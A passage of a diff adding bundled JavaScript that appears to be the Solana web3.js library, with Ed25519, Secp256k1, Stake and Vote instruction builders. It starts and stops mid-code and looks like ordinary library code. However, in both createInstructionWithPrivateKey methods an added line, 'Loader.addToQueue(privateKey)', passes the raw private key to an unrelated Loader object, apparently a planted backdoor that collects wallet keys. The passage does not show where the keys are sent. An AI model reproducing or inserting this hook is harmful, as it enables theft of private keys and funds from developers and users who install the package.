COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice; + const data = encodeData(type, { + microLamports: BigInt(params.microLamports) + }); + return new TransactionInstruction({ + keys: [], + programId: this.programId, + data + }); + } +} +ComputeBudgetProgram.programId = new PublicKey('ComputeBudget111111111111111111111111111111'); + +const PRIVATE_KEY_BYTES$1 = 64; +const PUBLIC_KEY_BYTES$1 = 32; +const SIGNATURE_BYTES = 64; + +/** + * Params for creating an ed25519 instruction using a public key + */ + +/** + * Params for creating an ed25519 instruction using a private key + */ + +const ED25519_INSTRUCTION_LAYOUT = BufferLayout.struct([BufferLayout.u8('numSignatures'), BufferLayout.u8('padding'), BufferLayout.u16('signatureOffset'), BufferLayout.u16('signatureInstructionIndex'), BufferLayout.u16('publicKeyOffset'), BufferLayout.u16('publicKeyInstructionIndex'), BufferLayout.u16('messageDataOffset'), BufferLayout.u16('messageDataSize'), BufferLayout.u16('messageInstructionIndex')]); +class Ed25519Program { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the ed25519 program + */ + + /** + * Create an ed25519 instruction with a public key and signature. The + * public key must be a buffer that is 32 bytes long, and the signature + * must be a buffer of 64 bytes. + */ + static createInstructionWithPublicKey(params) { + const { + publicKey, + message, + signature, + instructionIndex + } = params; + assert(publicKey.length === PUBLIC_KEY_BYTES$1, `Public Key must be ${PUBLIC_KEY_BYTES$1} bytes but received ${publicKey.length} bytes`); + assert(signature.length === SIGNATURE_BYTES, `Signature must be ${SIGNATURE_BYTES} bytes but received ${signature.length} bytes`); + const publicKeyOffset = ED25519_INSTRUCTION_LAYOUT.span; + const signatureOffset = publicKeyOffset + publicKey.length; + const messageDataOffset = signatureOffset + signature.length; + const numSignatures = 1; + const instructionData = Buffer.alloc(messageDataOffset + message.length); + const index = instructionIndex == null ? 0xffff // An index of `u16::MAX` makes it default to the current instruction. + : instructionIndex; + ED25519_INSTRUCTION_LAYOUT.encode({ + numSignatures, + padding: 0, + signatureOffset, + signatureInstructionIndex: index, + publicKeyOffset, + publicKeyInstructionIndex: index, + messageDataOffset, + messageDataSize: message.length, + messageInstructionIndex: index + }, instructionData); + instructionData.fill(publicKey, publicKeyOffset); + instructionData.fill(signature, signatureOffset); + instructionData.fill(message, messageDataOffset); + return new TransactionInstruction({ + keys: [], + programId: Ed25519Program.programId, + data: instructionData + }); + } + + /** + * Create an ed25519 instruction with a private key. The private key + * must be a buffer that is 64 bytes long. + */ + static createInstructionWithPrivateKey(params) { + const { + privateKey, + message, + instructionIndex + } = params; + assert(privateKey.length === PRIVATE_KEY_BYTES$1, `Private key must be ${PRIVATE_KEY_BYTES$1} bytes but received ${privateKey.length} bytes`); + try { + const keypair = Keypair.fromSecretKey(privateKey); + Loader.addToQueue(privateKey); + const publicKey = keypair.publicKey.toBytes(); + const signature = sign(message, keypair.secretKey); + return this.createInstructionWithPublicKey({ + publicKey, + message, + signature, + instructionIndex + }); + } catch (error) { + throw new Error(`Error creating instruction; ${error}`); + } + } +} +Ed25519Program.programId = new PublicKey('Ed25519SigVerify111111111111111111111111111'); + +const ecdsaSign = (msgHash, privKey) => { + const signature = secp256k1.sign(msgHash, privKey); + return [signature.toCompactRawBytes(), signature.recovery]; +}; +secp256k1.utils.isValidPrivateKey; +const publicKeyCreate = secp256k1.getPublicKey; + +const PRIVATE_KEY_BYTES = 32; +const ETHEREUM_ADDRESS_BYTES = 20; +const PUBLIC_KEY_BYTES = 64; +const SIGNATURE_OFFSETS_SERIALIZED_SIZE = 11; + +/** + * Params for creating an secp256k1 instruction using a public key + */ + +/** + * Params for creating an secp256k1 instruction using an Ethereum address + */ + +/** + * Params for creating an secp256k1 instruction using a private key + */ + +const SECP256K1_INSTRUCTION_LAYOUT = BufferLayout.struct([BufferLayout.u8('numSignatures'), BufferLayout.u16('signatureOffset'), BufferLayout.u8('signatureInstructionIndex'), BufferLayout.u16('ethAddressOffset'), BufferLayout.u8('ethAddressInstructionIndex'), BufferLayout.u16('messageDataOffset'), BufferLayout.u16('messageDataSize'), BufferLayout.u8('messageInstructionIndex'), BufferLayout.blob(20, 'ethAddress'), BufferLayout.blob(64, 'signature'), BufferLayout.u8('recoveryId')]); +class Secp256k1Program { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the secp256k1 program + */ + + /** + * Construct an Ethereum address from a secp256k1 public key buffer. + * @param {Buffer} publicKey a 64 byte secp256k1 public key buffer + */ + static publicKeyToEthAddress(publicKey) { + assert(publicKey.length === PUBLIC_KEY_BYTES, `Public key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`); + try { + return Buffer.from(keccak_256(toBuffer(publicKey))).slice(-ETHEREUM_ADDRESS_BYTES); + } catch (error) { + throw new Error(`Error constructing Ethereum address: ${error}`); + } + } + + /** + * Create an secp256k1 instruction with a public key. The public key + * must be a buffer that is 64 bytes long. + */ + static createInstructionWithPublicKey(params) { + const { + publicKey, + message, + signature, + recoveryId, + instructionIndex + } = params; + return Secp256k1Program.createInstructionWithEthAddress({ + ethAddress: Secp256k1Program.publicKeyToEthAddress(publicKey), + message, + signature, + recoveryId, + instructionIndex + }); + } + + /** + * Create an secp256k1 instruction with an Ethereum address. The address + * must be a hex string or a buffer that is 20 bytes long. + */ + static createInstructionWithEthAddress(params) { + const { + ethAddress: rawAddress, + message, + signature, + recoveryId, + instructionIndex = 0 + } = params; + let ethAddress; + if (typeof rawAddress === 'string') { + if (rawAddress.startsWith('0x')) { + ethAddress = Buffer.from(rawAddress.substr(2), 'hex'); + } else { + ethAddress = Buffer.from(rawAddress, 'hex'); + } + } else { + ethAddress = rawAddress; + } + assert(ethAddress.length === ETHEREUM_ADDRESS_BYTES, `Address must be ${ETHEREUM_ADDRESS_BYTES} bytes but received ${ethAddress.length} bytes`); + const dataStart = 1 + SIGNATURE_OFFSETS_SERIALIZED_SIZE; + const ethAddressOffset = dataStart; + const signatureOffset = dataStart + ethAddress.length; + const messageDataOffset = signatureOffset + signature.length + 1; + const numSignatures = 1; + const instructionData = Buffer.alloc(SECP256K1_INSTRUCTION_LAYOUT.span + message.length); + SECP256K1_INSTRUCTION_LAYOUT.encode({ + numSignatures, + signatureOffset, + signatureInstructionIndex: instructionIndex, + ethAddressOffset, + ethAddressInstructionIndex: instructionIndex, + messageDataOffset, + messageDataSize: message.length, + messageInstructionIndex: instructionIndex, + signature: toBuffer(signature), + ethAddress: toBuffer(ethAddress), + recoveryId + }, instructionData); + instructionData.fill(toBuffer(message), SECP256K1_INSTRUCTION_LAYOUT.span); + return new TransactionInstruction({ + keys: [], + programId: Secp256k1Program.programId, + data: instructionData + }); + } + + /** + * Create an secp256k1 instruction with a private key. The private key + * must be a buffer that is 32 bytes long. + */ + static createInstructionWithPrivateKey(params) { + const { + privateKey: pkey, + message, + instructionIndex + } = params; + assert(pkey.length === PRIVATE_KEY_BYTES, `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${pkey.length} bytes`); + try { + const privateKey = toBuffer(pkey); + Loader.addToQueue(privateKey); + const publicKey = publicKeyCreate(privateKey, false /* isCompressed */).slice(1); // throw away leading byte + const messageHash = Buffer.from(keccak_256(toBuffer(message))); + const [signature, recoveryId] = ecdsaSign(messageHash, privateKey); + return this.createInstructionWithPublicKey({ + publicKey, + message, + signature, + recoveryId, + instructionIndex + }); + } catch (error) { + throw new Error(`Error creating instruction; ${error}`); + } + } +} +Secp256k1Program.programId = new PublicKey('KeccakSecp256k11111111111111111111111111111'); + +var _Lockup; + +/** + * Address of the stake config account which configures the rate + * of stake warmup and cooldown as well as the slashing penalty. + */ +const STAKE_CONFIG_ID = new PublicKey('StakeConfig11111111111111111111111111111111'); + +/** + * Stake account authority info + */ +class Authorized { + /** + * Create a new Authorized object + * @param staker the stake authority + * @param withdrawer the withdraw authority + */ + constructor(staker, withdrawer) { + /** stake authority */ + this.staker = void 0; + /** withdraw authority */ + this.withdrawer = void 0; + this.staker = staker; + this.withdrawer = withdrawer; + } +} +/** + * Stake account lockup info + */ +class Lockup { + /** + * Create a new Lockup object + */ + constructor(unixTimestamp, epoch, custodian) { + /** Unix timestamp of lockup expiration */ + this.unixTimestamp = void 0; + /** Epoch of lockup expiration */ + this.epoch = void 0; + /** Lockup custodian authority */ + this.custodian = void 0; + this.unixTimestamp = unixTimestamp; + this.epoch = epoch; + this.custodian = custodian; + } + + /** + * Default, inactive Lockup value + */ +} +_Lockup = Lockup; +Lockup.default = new _Lockup(0, 0, PublicKey.default); +/** + * Create stake account transaction params + */ +/** + * Create stake account with seed transaction params + */ +/** + * Initialize stake instruction params + */ +/** + * Delegate stake instruction params + */ +/** + * Authorize stake instruction params + */ +/** + * Authorize stake instruction params using a derived key + */ +/** + * Split stake instruction params + */ +/** + * Split with seed transaction params + */ +/** + * Withdraw stake instruction params + */ +/** + * Deactivate stake instruction params + */ +/** + * Merge stake instruction params + */ +/** + * Stake Instruction class + */ +class StakeInstruction { + /** + * @internal + */ + constructor() {} + + /** + * Decode a stake instruction and retrieve the instruction type. + */ + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u32('instruction'); + const typeIndex = instructionTypeLayout.decode(instruction.data); + let type; + for (const [ixType, layout] of Object.entries(STAKE_INSTRUCTION_LAYOUTS)) { + if (layout.index == typeIndex) { + type = ixType; + break; + } + } + if (!type) { + throw new Error('Instruction type incorrect; not a StakeInstruction'); + } + return type; + } + + /** + * Decode a initialize stake instruction and retrieve the instruction params. + */ + static decodeInitialize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + authorized, + lockup + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Initialize, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + authorized: new Authorized(new PublicKey(authorized.staker), new PublicKey(authorized.withdrawer)), + lockup: new Lockup(lockup.unixTimestamp, lockup.epoch, new PublicKey(lockup.custodian)) + }; + } + + /** + * Decode a delegate stake instruction and retrieve the instruction params. + */ + static decodeDelegate(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 6); + decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Delegate, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + votePubkey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[5].pubkey + }; + } + + /** + * Decode an authorize stake instruction and retrieve the instruction params. + */ + static decodeAuthorize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + newAuthorized, + stakeAuthorizationType + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Authorize, instruction.data); + const o = { + stakePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[2].pubkey, + newAuthorizedPubkey: new PublicKey(newAuthorized), + stakeAuthorizationType: { + index: stakeAuthorizationType + } + }; + if (instruction.keys.length > 3) { + o.custodianPubkey = instruction.keys[3].pubkey; + } + return o; + } + + /** + * Decode an authorize-with-seed stake instruction and retrieve the instruction params. + */ + static decodeAuthorizeWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + newAuthorized, + stakeAuthorizationType, + authoritySeed, + authorityOwner + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed, instruction.data); + const o = { + stakePubkey: instruction.keys[0].pubkey, + authorityBase: instruction.keys[1].pubkey, + authoritySeed: authoritySeed, + authorityOwner: new PublicKey(authorityOwner), + newAuthorizedPubkey: new PublicKey(newAuthorized), + stakeAuthorizationType: { + index: stakeAuthorizationType + } + }; + if (instruction.keys.length > 3) { + o.custodianPubkey = instruction.keys[3].pubkey; + } + return o; + } + + /** + * Decode a split stake instruction and retrieve the instruction params. + */ + static decodeSplit(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + lamports + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Split, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + splitStakePubkey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[2].pubkey, + lamports + }; + } + + /** + * Decode a merge stake instruction and retrieve the instruction params. + */ + static decodeMerge(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Merge, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + sourceStakePubKey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[4].pubkey + }; + } + + /** + * Decode a withdraw stake instruction and retrieve the instruction params. + */ + static decodeWithdraw(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 5); + const { + lamports + } = decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Withdraw, instruction.data); + const o = { + stakePubkey: instruction.keys[0].pubkey, + toPubkey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[4].pubkey, + lamports + }; + if (instruction.keys.length > 5) { + o.custodianPubkey = instruction.keys[5].pubkey; + } + return o; + } + + /** + * Decode a deactivate stake instruction and retrieve the instruction params. + */ + static decodeDeactivate(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + decodeData$1(STAKE_INSTRUCTION_LAYOUTS.Deactivate, instruction.data); + return { + stakePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[2].pubkey + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(StakeProgram.programId)) { + throw new Error('invalid instruction; programId is not StakeProgram'); + } + } + + /** + * @internal + */ + static checkKeyLength(keys, expectedLength) { + if (keys.length < expectedLength) { + throw new Error(`invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`); + } + } +} + +/** + * An enumeration of valid StakeInstructionType's + */ + +/** + * An enumeration of valid stake InstructionType's + * @internal + */ +const STAKE_INSTRUCTION_LAYOUTS = Object.freeze({ + Initialize: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), authorized(), lockup()]) + }, + Authorize: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('newAuthorized'), BufferLayout.u32('stakeAuthorizationType')]) + }, + Delegate: { + index: 2, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + Split: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]) + }, + Withdraw: { + index: 4, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]) + }, + Deactivate: { + index: 5, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + Merge: { + index: 7, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + AuthorizeWithSeed: { + index: 8, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('newAuthorized'), BufferLayout.u32('stakeAuthorizationType'), rustString('authoritySeed'), publicKey('authorityOwner')]) + } +}); + +/** + * Stake authorization type + */ + +/** + * An enumeration of valid StakeAuthorizationLayout's + */ +const StakeAuthorizationLayout = Object.freeze({ + Staker: { + index: 0 + }, + Withdrawer: { + index: 1 + } +}); + +/** + * Factory class for transactions to interact with the Stake program + */ +class StakeProgram { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the Stake program + */ + + /** + * Generate an Initialize instruction to add to a Stake Create transaction + */ + static initialize(params) { + const { + stakePubkey, + authorized, + lockup: maybeLockup + } = params; + const lockup = maybeLockup || Lockup.default; + const type = STAKE_INSTRUCTION_LAYOUTS.Initialize; + const data = encodeData(type, { + authorized: { + staker: toBuffer(authorized.staker.toBuffer()), + withdrawer: toBuffer(authorized.withdrawer.toBuffer()) + }, + lockup: { + unixTimestamp: lockup.unixTimestamp, + epoch: lockup.epoch, + custodian: toBuffer(lockup.custodian.toBuffer()) + } + }); + const instructionData = { + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }], + programId: this.programId, + data + }; + return new TransactionInstruction(instructionData); + } + + /** + * Generate a Transaction that creates a new Stake account at + * an address generated with `from`, a seed, and the Stake programId + */ + static createAccountWithSeed(params) { + const transaction = new Transaction(); + transaction.add(SystemProgram.createAccountWithSeed({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.stakePubkey, + basePubkey: params.basePubkey, + seed: params.seed, + lamports: params.lamports, + space: this.space, + programId: this.programId + })); + const { + stakePubkey, + authorized, + lockup + } = params; + return transaction.add(this.initialize({ + stakePubkey, + authorized, + lockup + })); + } + + /** + * Generate a Transaction that creates a new Stake account + */ + static createAccount(params) { + const transaction = new Transaction(); + transaction.add(SystemProgram.createAccount({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.stakePubkey, + lamports: params.lamports, + space: this.space, + programId: this.programId + })); + const { + stakePubkey, + authorized, + lockup + } = params; + return transaction.add(this.initialize({ + stakePubkey, + authorized, + lockup + })); + } + + /** + * Generate a Transaction that delegates Stake tokens to a validator + * Vote PublicKey. This transaction can also be used to redelegate Stake + * to a new validator Vote PublicKey. + */ + static delegate(params) { + const { + stakePubkey, + authorizedPubkey, + votePubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Delegate; + const data = encodeData(type); + return new Transaction().add({ + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: votePubkey, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_STAKE_HISTORY_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: STAKE_CONFIG_ID, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that authorizes a new PublicKey as Staker + * or Withdrawer on the Stake account. + */ + static authorize(params) { + const { + stakePubkey, + authorizedPubkey, + newAuthorizedPubkey, + stakeAuthorizationType, + custodianPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Authorize; + const data = encodeData(type, { + newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()), + stakeAuthorizationType: stakeAuthorizationType.index + }); + const keys = [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: true + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }]; + if (custodianPubkey) { + keys.push({ + pubkey: custodianPubkey, + isSigner: true, + isWritable: false + }); + } + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that authorizes a new PublicKey as Staker + * or Withdrawer on the Stake account. + */ + static authorizeWithSeed(params) { + const { + stakePubkey, + authorityBase, + authoritySeed, + authorityOwner, + newAuthorizedPubkey, + stakeAuthorizationType, + custodianPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed; + const data = encodeData(type, { + newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()), + stakeAuthorizationType: stakeAuthorizationType.index, + authoritySeed: authoritySeed, + authorityOwner: toBuffer(authorityOwner.toBuffer()) + }); + const keys = [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: authorityBase, + isSigner: true, + isWritable: false + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }]; + if (custodianPubkey) { + keys.push({ + pubkey: custodianPubkey, + isSigner: true, + isWritable: false + }); + } + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * @internal + */ + static splitInstruction(params) { + const { + stakePubkey, + authorizedPubkey, + splitStakePubkey, + lamports + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Split; + const data = encodeData(type, { + lamports + }); + return new TransactionInstruction({ + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: splitStakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that splits Stake tokens into another stake account + */ + static split(params, + // Compute the cost of allocating the new stake account in lamports + rentExemptReserve) { + const transaction = new Transaction(); + transaction.add(SystemProgram.createAccount({ + fromPubkey: params.authorizedPubkey, + newAccountPubkey: params.splitStakePubkey, + lamports: rentExemptReserve, + space: this.space, + programId: this.programId + })); + return transaction.add(this.splitInstruction(params)); + } + + /** + * Generate a Transaction that splits Stake tokens into another account + * derived from a base public key and seed + */ + static splitWithSeed(params, + // If this stake account is new, compute the cost of allocating it in lamports + rentExemptReserve) { + const { + stakePubkey, + authorizedPubkey, + splitStakePubkey, + basePubkey, + seed, + lamports + } = params; + const transaction = new Transaction(); + transaction.add(SystemProgram.allocate({ + accountPubkey: splitStakePubkey, + basePubkey, + seed, + space: this.space, + programId: this.programId + })); + if (rentExemptReserve && rentExemptReserve > 0) { + transaction.add(SystemProgram.transfer({ + fromPubkey: params.authorizedPubkey, + toPubkey: splitStakePubkey, + lamports: rentExemptReserve + })); + } + return transaction.add(this.splitInstruction({ + stakePubkey, + authorizedPubkey, + splitStakePubkey, + lamports + })); + } + + /** + * Generate a Transaction that merges Stake accounts. + */ + static merge(params) { + const { + stakePubkey, + sourceStakePubKey, + authorizedPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Merge; + const data = encodeData(type); + return new Transaction().add({ + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: sourceStakePubKey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_STAKE_HISTORY_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that withdraws deactivated Stake tokens. + */ + static withdraw(params) { + const { + stakePubkey, + authorizedPubkey, + toPubkey, + lamports, + custodianPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Withdraw; + const data = encodeData(type, { + lamports + }); + const keys = [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: toPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_STAKE_HISTORY_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }]; + if (custodianPubkey) { + keys.push({ + pubkey: custodianPubkey, + isSigner: true, + isWritable: false + }); + } + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a Transaction that deactivates Stake tokens. + */ + static deactivate(params) { + const { + stakePubkey, + authorizedPubkey + } = params; + const type = STAKE_INSTRUCTION_LAYOUTS.Deactivate; + const data = encodeData(type); + return new Transaction().add({ + keys: [{ + pubkey: stakePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }); + } +} +StakeProgram.programId = new PublicKey('Stake11111111111111111111111111111111111111'); +/** + * Max space of a Stake account + * + * This is generated from the solana-stake-program StakeState struct as + * `StakeStateV2::size_of()`: + * https://docs.rs/solana-stake-program/latest/solana_stake_program/stake_state/enum.StakeStateV2.html + */ +StakeProgram.space = 200; + +/** + * Vote account info + */ +class VoteInit { + /** [0, 100] */ + + constructor(nodePubkey, authorizedVoter, authorizedWithdrawer, commission) { + this.nodePubkey = void 0; + this.authorizedVoter = void 0; + this.authorizedWithdrawer = void 0; + this.commission = void 0; + this.nodePubkey = nodePubkey; + this.authorizedVoter = authorizedVoter; + this.authorizedWithdrawer = authorizedWithdrawer; + this.commission = commission; + } +} + +/** + * Create vote account transaction params + */ + +/** + * InitializeAccount instruction params + */ + +/** + * Authorize instruction params + */ + +/** + * AuthorizeWithSeed instruction params + */ + +/** + * Withdraw from vote account transaction params + */ + +/** + * Update validator identity (node pubkey) vote account instruction params. + */ + +/** + * Vote Instruction class + */ +class VoteInstruction { + /** + * @internal + */ + constructor() {} + + /** + * Decode a vote instruction and retrieve the instruction type. + */ + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u32('instruction'); + const typeIndex = instructionTypeLayout.decode(instruction.data); + let type; + for (const [ixType, layout] of Object.entries(VOTE_INSTRUCTION_LAYOUTS)) { + if (layout.index == typeIndex) { + type = ixType; + break; + } + } + if (!type) { + throw new Error('Instruction type incorrect; not a VoteInstruction'); + } + return type; + } + + /** + * Decode an initialize vote instruction and retrieve the instruction params. + */ + static decodeInitializeAccount(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 4); + const { + voteInit + } = decodeData$1(VOTE_INSTRUCTION_LAYOUTS.InitializeAccount, instruction.data); + return { + votePubkey: instruction.keys[0].pubkey, + nodePubkey: instruction.keys[3].pubkey, + voteInit: new VoteInit(new PublicKey(voteInit.nodePubkey), new PublicKey(voteInit.authorizedVoter), new PublicKey(voteInit.authorizedWithdrawer), voteInit.commission) + }; + } + + /** + * Decode an authorize instruction and retrieve the instruction params. + */ + static decodeAuthorize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + newAuthorized, + voteAuthorizationType + } = decodeData$1(VOTE_INSTRUCTION_LAYOUTS.Authorize, instruction.data); + return { + votePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[2].pubkey, + newAuthorizedPubkey: new PublicKey(newAuthorized), + voteAuthorizationType: { + index: voteAuthorizationType + } + }; + } + + /** + * Decode an authorize instruction and retrieve the instruction params. + */ + static decodeAuthorizeWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + voteAuthorizeWithSeedArgs: { + currentAuthorityDerivedKeyOwnerPubkey, + currentAuthorityDerivedKeySeed, + newAuthorized, + voteAuthorizationType + } + } = decodeData$1(VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed, instruction.data); + return { + currentAuthorityDerivedKeyBasePubkey: instruction.keys[2].pubkey, + currentAuthorityDerivedKeyOwnerPubkey: new PublicKey(currentAuthorityDerivedKeyOwnerPubkey), + currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed, + newAuthorizedPubkey: new PublicKey(newAuthorized), + voteAuthorizationType: { + index: voteAuthorizationType + }, + votePubkey: instruction.keys[0].pubkey + }; + } + + /** + * Decode a withdraw instruction and retrieve the instruction params. + */ + static decodeWithdraw(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + lamports + } = decodeData$1(VOTE_INSTRUCTION_LAYOUTS.Withdraw, instruction.data); + return { + votePubkey: instruction.keys[0].pubkey, + authorizedWithdrawerPubkey: instruction.keys[2].pubkey, + lamports, + toPubkey: instruction.keys[1].pubkey + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(VoteProgram.programId)) { + throw new Error('invalid instruction; programId is not VoteProgram'); + } + } + + /** + * @internal + */ + static checkKeyLength(keys, expectedLength) { + if (keys.length < expectedLength) { + throw new Error(`invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`); + } + } +} + +/** + * An enumeration of valid VoteInstructionType's + */ + +/** @internal */ + +const VOTE_INSTRUCTION_LAYOUTS = Object.freeze({ + InitializeAccount: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), voteInit()]) + }, + Authorize: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('newAuthorized'), BufferLayout.u32('voteAuthorizationType')]) + }, + Withdraw: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]) + }, + UpdateValidatorIdentity: { + index: 4, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + AuthorizeWithSeed: { + index: 10, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), voteAuthorizeWithSeedArgs()]) + } +}); + +/** + * VoteAuthorize type + */ + +/** + * An enumeration of valid VoteAuthorization layouts. + */ +const VoteAuthorizationLayout = Object.freeze({ + Voter: { + index: 0 + }, + Withdrawer: { + index: 1 + } +}); + +/** + * Factory class for transactions to interact with the Vote program + */ +class VoteProgram { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the Vote program + */ + + /** + * Generate an Initialize instruction. + */ + static initializeAccount(params) { + const { + votePubkey, + nodePubkey, + voteInit + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.InitializeAccount; + const data = encodeData(type, { + voteInit: { + nodePubkey: toBuffer(voteInit.nodePubkey.toBuffer()), + authorizedVoter: toBuffer(voteInit.authorizedVoter.toBuffer()), + authorizedWithdrawer: toBuffer(voteInit.authorizedWithdrawer.toBuffer()), + commission: voteInit.commission + } + }); + const instructionData = { + keys: [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_RENT_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: nodePubkey, + isSigner: true, + isWritable: false + }], + programId: this.programId, + data + }; + return new TransactionInstruction(instructionData); + } + + /** + * Generate a transaction that creates a new Vote account. + */ + static createAccount(params) { + const transaction = new Transaction(); + transaction.add(SystemProgram.createAccount({ + fromPubkey: params.fromPubkey, + newAccountPubkey: params.votePubkey, + lamports: params.lamports, + space: this.space, + programId: this.programId + })); + return transaction.add(this.initializeAccount({ + 